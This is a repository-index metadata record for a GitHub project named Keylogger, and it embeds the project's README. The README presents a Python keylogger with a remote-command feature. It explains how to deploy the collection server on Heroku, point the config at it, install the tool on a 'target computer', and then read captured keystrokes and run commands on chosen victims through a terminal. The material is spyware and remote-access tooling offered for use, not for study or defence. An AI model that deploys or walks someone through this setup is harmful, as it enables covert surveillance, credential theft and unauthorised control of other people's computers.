{"id":19330691,"url":"https://github.com/jeanextreme002/keylogger","last_synced_at":"2026-05-16T00:09:27.933Z","repository":{"id":132549731,"uuid":"240398696","full_name":"JeanExtreme002/Keylogger","owner":"JeanExtreme002","description":":keyboard: Keylogger created in Python. This application not only captures the keys like any other Keylogger, but also has the functionality to execute commands on the target computer and more.","archived":false,"fork":false,"pushed_at":"2020-02-18T03:03:04.000Z","size":19,"stargazers_count":3,"open_issues_count":0,"forks_count":1,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-09-16T18:22:20.634Z","etag":null,"topics":["flask","heroku","keylogger","python3"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"bsd-3-clause","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/JeanExtreme002.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-02-14T00:48:49.000Z","updated_at":"2023-12-11T04:59:13.000Z","dependencies_parsed_at":"2023-04-06T22:04:21.996Z","dependency_job_id":null,"html_url":"https://github.com/JeanExtreme002/Keylogger","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/JeanExtreme002/Keylogger","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JeanExtreme002%2FKeylogger","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JeanExtreme002%2FKeylogger/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JeanExtreme002%2FKeylogger/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JeanExtreme002%2FKeylogger/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/JeanExtreme002","download_url":"https://codeload.github.com/JeanExtreme002/Keylogger/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/JeanExtreme002%2FKeylogger/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":33085158,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-05-15T20:25:35.270Z","status":"ssl_error","status_checked_at":"2026-05-15T20:25:34.732Z","response_time":103,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["flask","heroku","keylogger","python3"],"created_at":"2024-11-10T02:37:38.046Z","updated_at":"2026-05-16T00:09:27.919Z","avatar_url":"https://github.com/JeanExtreme002.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# Keylogger\n\nKeylogger created in Python. This application not only captures the keys like any other Keylogger, but also has the \nfunctionality to execute commands on the target computer and more.\n\n# Getting Started:\n\n**Requirements:**\n\n- Python 3\n- Dependencies installed\n\nTo install the dependencies, type the command: `pip install -r requirements.txt`\n\nAfter that, start the server at `server/flask/server.py` or `server/express/server.js`. Both applications are already \nconfigured to run on [Heroku](https://heroku.com).\n\n# Setting and running keylogger:\n\nOpen the `app/config/config.json` file and enter the server URL in the **host** key. See the example below:\n```\n{\n    \"host\": \"https://keylogger-app-37456.herokuapp.com\"\n}\n```\n\nOnce configured, install the **keylogger** on the target computer and run. After that, all the keys pressed by the \nuser will be read and sent to the server and the application will be ready to receive and execute your commands.\n\n# Getting the keys and executing commands:\n\nTo read keys and execute commands on the target computer, run `app/terminal.py` and select a user using\nthe `select` command. See the example below:\n\n```\nIn: users\n\nJohn Gamer\nKatarinaMid_273\nVictor34\n\nIn: select KatarinaMid_273\nIn: keylogger\n```\n\nType `help` to see all available commands.\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjeanextreme002%2Fkeylogger","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjeanextreme002%2Fkeylogger","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjeanextreme002%2Fkeylogger/lists"}